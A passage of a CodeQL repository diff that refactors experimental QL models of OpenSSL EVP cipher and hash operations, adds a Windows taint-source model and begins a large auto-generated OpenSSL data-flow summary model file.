c.getInitCall().getAlgorithmArg() = sink.asExpr()) - } -} + override Expr getInputArg() { result = this.(Call).getArgument(3) } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + override Expr getOutputArg() { result = this.(Call).getArgument(1) } +} -// import experimental.quantum.OpenSSL.AlgorithmValueConsumers.AlgorithmValueConsumers -// import OpenSSLOperation -// class EVPCipherOutput extends CipherOutputArtifact { -// EVPCipherOutput() { exists(EVP_Cipher_Operation op | op.getOutputArg() = this) } -// override DataFlow::Node getOutputNode() { result.asDefiningArgument() = this } -// } -// /** * see: https://docs.openssl.org/master/man3/EVP_EncryptInit/#synopsis * Base configuration for all EVP cipher operations. - * NOTE: cannot extend instance of OpenSSLOperation, as we need to override - * elements of OpenSSLOperation (i.e., we are creating an instance) */ -abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - +abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(1) } override Crypto::KeyOperationSubtype getKeyOperationSubtype() { @@ -41,76 +30,48 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati result instanceof Crypto::TDecryptMode and this.(Call).getTarget().getName().toLowerCase().matches("%decrypt%") or - result = this.getInitCall().getCipherOperationSubtype() and + result = this.getInitCall().getKeyOperationSubtype() and this.(Call).getTarget().getName().toLowerCase().matches("%cipher%") } - EVP_Cipher_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - override Crypto::ConsumerInputDataFlowNode getNonceConsumer() { this.getInitCall().getIVArg() = result.asExpr() } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Crypto::ConsumerInputDataFlowNode getKeyConsumer() { this.getInitCall().getKeyArg() = result.asExpr() + // todo: or track to the EVP_PKEY_CTX_new } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() } -} -// abstract class EVP_Update_Call extends EVP_Cipher_Operation { } -abstract class EVP_Final_Call extends EVP_Cipher_Operation { - override Expr getInputArg() { none() } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() + } } -// TODO: only model Final (model final as operation and model update but not as an operation) -// Updates are multiple input consumers (most important) -// TODO: assuming update doesn't ouput, otherwise it outputs artifacts, but is not an operation -class EVP_Cipher_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOperation, EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } } -// ******* TODO: model UPDATE but not as the core operation, rather a step towards final -// see the JCA -// class EVP_Encrypt_Decrypt_or_Cipher_Update_Call extends EVP_Update_Call { -// EVP_Encrypt_Decrypt_or_Cipher_Update_Call() { -// this.(Call).getTarget().getName() in [ -// "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" -// ] -// } -// override Expr getInputArg() { result = this.(Call).getArgument(3) } -// } -class EVP_Encrypt_Decrypt_or_Cipher_Final_Call extends EVP_Final_Call { - EVP_Encrypt_Decrypt_or_Cipher_Final_Call() { +class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { + EVP_Cipher_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", "EVP_DecryptFinal", "EVP_CipherFinal" ] } -} -class EVP_PKEY_Operation extends EVP_Cipher_Operation { - EVP_PKEY_Operation() { - this.(Call).getTarget().getName() in ["EVP_PKEY_decrypt", "EVP_PKEY_encrypt"] + /** + * Output is both from update calls and from the final call. + */ + override Expr getOutputArg() { + result = EVPFinal.super.getOutputArg() + or + result = EVP_Cipher_Operation.super.getOutputArg() } - - override Expr getInputArg() { result = this.(Call).getArgument(3) } - // TODO: how PKEY is initialized is different that symmetric cipher - // Consider making an entirely new class for this and specializing - // the get init call -} - -class EVPCipherInputArgument extends Expr { - EVPCipherInputArgument() { exists(EVP_Cipher_Operation op | op.getInputArg() = this) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll index 46d414ece6ce..7309242f198b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll @@ -1,10 +1,7 @@ import cpp +private import OpenSSLOperationBase -abstract class EVP_Hash_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - abstract Expr getAlgorithmArg(); -} +abstract class EVP_Hash_Initializer extends EVPInitialize { } class EVP_DigestInit_Variant_Calls extends EVP_Hash_Initializer { EVP_DigestInit_Variant_Calls() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index a187b62a7bdd..796f71398385 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -2,77 +2,50 @@ * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis */ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow -import experimental.quantum.OpenSSL.LibraryDetector -import OpenSSLOperationBase -import EVPHashInitializer -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers - -// import EVPHashConsumers -abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - EVP_Hash_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } -} +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase +private import EVPHashInitializer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } +class EVP_Digest_Update_Call extends EVPUpdate { + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() = "EVP_DigestUpdate" } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Hash_Operation c | c.getInitCall().getAlgorithmArg() = sink.asExpr()) - } + override Expr getInputArg() { result = this.(Call).getArgument(1) } } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVP_Hash_Operation { - EVP_Q_Digest_Operation() { - this.(Call).getTarget().getName() = "EVP_Q_digest" and - isPossibleOpenSSLFunction(this.(Call).getTarget()) - } +class EVP_Q_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { + EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } + + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - //override Crypto::AlgorithmConsumer getAlgorithmConsumer() { } override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Expr getInputArg() { result = this.(Call).getArgument(3) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - // The operation is a direct algorithm consumer - // NOTE: the operation itself is already modeld as a value consumer, so we can - // simply return 'this', see modeled hash algorithm consuers for EVP_Q_Digest - this = result + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() } } -class EVP_Digest_Operation extends EVP_Hash_Operation { - EVP_Digest_Operation() { - this.(Call).getTarget().getName() = "EVP_Digest" and - isPossibleOpenSSLFunction(this.(Call).getTarget()) - } +class EVP_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { + EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function override Expr getContextArg() { none() } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.(Call).getArgument(4))) - } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init @@ -80,38 +53,33 @@ class EVP_Digest_Operation extends EVP_Hash_Operation { none() } + override Expr getInputArg() { result = this.(Call).getArgument(0) } + override Expr getOutputArg() { result = this.(Call).getArgument(2) } - override Expr getInputArg() { result = this.(Call).getArgument(0) } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() + } +} + +class EVP_Digest_Final_Call extends EVPFinal, Crypto::HashOperationInstance { + EVP_Digest_Final_Call() { + this.(Call).getTarget().getName() in [ + "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" + ] + } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Expr getOutputArg() { result = this.(Call).getArgument(1) } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPFinal.super.getOutputArtifact() + } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPFinal.super.getInputConsumer() + } } -// // override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { -// // AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), -// // DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) -// // } -// // ***** TODO *** complete modelinlg for hash operations, but have consideration for terminal and non-terminal (non intermedaite) steps -// // see the JCA. May need to update the cipher operations similarly -// // ALSO SEE cipher for how we currently model initialization of the algorithm through an init call -// class EVP_DigestUpdate_Operation extends EVP_Hash_Operation { -// EVP_DigestUpdate_Operation() { -// this.(Call).getTarget().getName() = "EVP_DigestUpdate" and -// isPossibleOpenSSLFunction(this.(Call).getTarget()) -// } -// override Crypto::AlgorithmConsumer getAlgorithmConsumer() { -// this.getInitCall().getAlgorithmArg() = result -// } -// } -// class EVP_DigestFinal_Variants_Operation extends EVP_Hash_Operation { -// EVP_DigestFinal_Variants_Operation() { -// this.(Call).getTarget().getName() in [ -// "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" -// ] and -// isPossibleOpenSSLFunction(this.(Call).getTarget()) -// } -// override Crypto::AlgorithmConsumer getAlgorithmConsumer() { -// this.getInitCall().getAlgorithmArg() = result -// } -// } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 4798f5650a9b..6ada6cb4665d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -1,21 +1,162 @@ -import experimental.quantum.Language +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +/** + * A class for all OpenSSL operations. + */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { + /** + * Expression that specifies the algorithm for the operation. + * Will be an argument of the operation in the simplest case. + */ + abstract Expr getAlgorithmArg(); + + /** + * Algorithm is specified in initialization call or is implicitly established by the key. + */ + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getAlgorithmArg())) + } +} + +/** + * A Call to initialization functions from the EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to initialize the context for the operation. + */ +abstract class EVPInitialize extends Call { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Gets the type of key operation, none if not applicable. + */ + Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } + + /** + * Explicitly specified algorithm or none if implicit (e.g., established by the key). + * None if not applicable. + */ + Expr getAlgorithmArg() { none() } + + /** + * Gets the key for the operation, none if not applicable. + */ + Expr getKeyArg() { none() } + + /** + * Gets the IV/nonce, none if not applicable. + */ + Expr getIVArg() { none() } +} + +/** + * A Call to update functions from the EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to update the context for the operation. + */ +abstract class EVPUpdate extends Call { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Update calls always have some input data like plaintext or message digest. + */ + abstract Expr getInputArg(); + + /** + * Update calls sometimes have some output data like a plaintext. + */ + Expr getOutputArg() { none() } +} + +/** + * Flows from algorithm values to operations, specific to OpenSSL + */ +private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { + exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) + } + + predicate isSink(DataFlow::Node sink) { + exists(EVPOperation c | c.getAlgorithmArg() = sink.asExpr()) + } +} + +private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + +/** + * The base class for all operations of the EVP API. + * This captures one-shot APIs (with and without an initilizer call) and final calls. + * Provides some default methods for Crypto::KeyOperationInstance class + */ +abstract class EVPOperation extends OpenSSLOperation { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Some input data like plaintext or message digest. + * Either argument provided direcly in the call or all arguments that were provided in update calls. + */ abstract Expr getInputArg(); /** - * Can be an argument of a call or a return value of a function. + * Some output data like ciphertext or signature. */ abstract Expr getOutputArg(); - DataFlow::Node getInputNode() { - // Assumed to be default to asExpr - result.asExpr() = this.getInputArg() + /** + * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. + */ + override Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } + + /** + * Finds the initialization call, may be none. + */ + EVPInitialize getInitCall() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = DataFlow::exprNode(this.getOutputArg()) + } + + /** + * Input consumer is the input argument of the call. + */ + Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = DataFlow::exprNode(this.getInputArg()) } +} - DataFlow::Node getOutputNode() { - if exists(Call c | c.getAnArgument() = this) - then result.asDefiningArgument() = this - else result.asExpr() = this +/** + * The final calls of the EVP API. + */ +abstract class EVPFinal extends EVPOperation { + /** + * All update calls that were executed before this final call. + */ + EVPUpdate getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } + + /** + * Gets the input data provided to all update calls. + * If more input data was provided in the final call, override the method. + */ + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + /** + * Gets the output data provided to all update calls. + * If more output data was provided in the final call, override the method. + */ + override Expr getOutputArg() { result = this.getUpdateCalls().getOutputArg() } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index 819e964878c3..f6ff0dd1f077 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -1,3 +1,4 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation +import ECKeyGenOperation diff --git a/cpp/ql/lib/ext/Boost.Asio.model.yml b/cpp/ql/lib/ext/Boost.Asio.model.yml index 3b6fb77071fe..f6ba957d2596 100644 --- a/cpp/ql/lib/ext/Boost.Asio.model.yml +++ b/cpp/ql/lib/ext/Boost.Asio.model.yml @@ -1,4 +1,4 @@ - # partial model of the Boost::Asio network library +# partial model of the Boost::Asio network library extensions: - addsTo: pack: codeql/cpp-all diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml new file mode 100644 index 000000000000..810a98de85d4 --- /dev/null +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -0,0 +1,35 @@ +# partial model of windows system calls +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: sourceModel + data: # namespace, type, subtypes, name, signature, ext, output, kind, provenance + # processenv.h + - ["", "", False, "GetCommandLineA", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetCommandLineW", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentStringsA", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentStringsW", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentVariableA", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "GetEnvironmentVariableW", "", "", "Argument[*1]", "local", "manual"] + # fileapi.h + - ["", "", False, "ReadFile", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "ReadFileEx", "", "", "Argument[*1]", "local", "manual"] + # memoryapi.h + - ["", "", False, "MapViewOfFile", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile2", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile3", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile3FromApp", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileEx", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileFromApp", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileNuma2", "", "", "ReturnValue[*]", "local", "manual"] + # ntifs.h + - ["", "", False, "NtReadFile", "", "", "Argument[*5]", "local", "manual"] + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance + # shellapi.h + - ["", "", False, "CommandLineToArgvA", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] + - ["", "", False, "CommandLineToArgvW", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] + # fileapi.h + - ["", "", False, "ReadFileEx", "", "", "Argument[*3].Field[@hEvent]", "Argument[4].Parameter[*2].Field[@hEvent]", "value", "manual"] \ No newline at end of file diff --git a/cpp/ql/lib/ext/generated/openssl/openssl.model.yml b/cpp/ql/lib/ext/generated/openssl/openssl.model.yml new file mode 100644 index 000000000000..fd347edf4e03 --- /dev/null +++ b/cpp/ql/lib/ext/generated/openssl/openssl.model.yml @@ -0,0 +1,21584 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: + - ["", "", True, "ACCESS_DESCRIPTION_free", "(ACCESS_DESCRIPTION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ACCESS_DESCRIPTION_free", "(ACCESS_DESCRIPTION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_free", "(ADMISSIONS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_free", "(ADMISSIONS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_get0_admissionAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[**admissionAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_admissionAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[*admissionAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_namingAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[**namingAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_namingAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[*namingAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_professionInfos", "(const ADMISSIONS *)", "", "Argument[*0].Field[**professionInfos]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_professionInfos", "(const ADMISSIONS *)", "", "Argument[*0].Field[*professionInfos]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_admissionAuthority", "(ADMISSIONS *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_admissionAuthority", "(ADMISSIONS *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[*admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_namingAuthority", "(ADMISSIONS *,NAMING_AUTHORITY *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_namingAuthority", "(ADMISSIONS *,NAMING_AUTHORITY *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_professionInfos", "(ADMISSIONS *,PROFESSION_INFOS *)", "", "Argument[*1]", "Argument[*0].Field[**professionInfos]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_professionInfos", "(ADMISSIONS *,PROFESSION_INFOS *)", "", "Argument[1]", "Argument[*0].Field[*professionInfos]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_free", "(ADMISSION_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ADMISSION_SYNTAX_free", "(ADMISSION_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_admissionAuthority", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[**admissionAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_admissionAuthority", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[*admissionAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_contentsOfAdmissions", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[**contentsOfAdmissions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_contentsOfAdmissions", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[*contentsOfAdmissions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_admissionAuthority", "(ADMISSION_SYNTAX *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_admissionAuthority", "(ADMISSION_SYNTAX *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[*admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_contentsOfAdmissions", "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)", "", "Argument[*1]", "Argument[*0].Field[**contentsOfAdmissions]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_contentsOfAdmissions", "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)", "", "Argument[1]", "Argument[*0].Field[*contentsOfAdmissions]", "value", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY 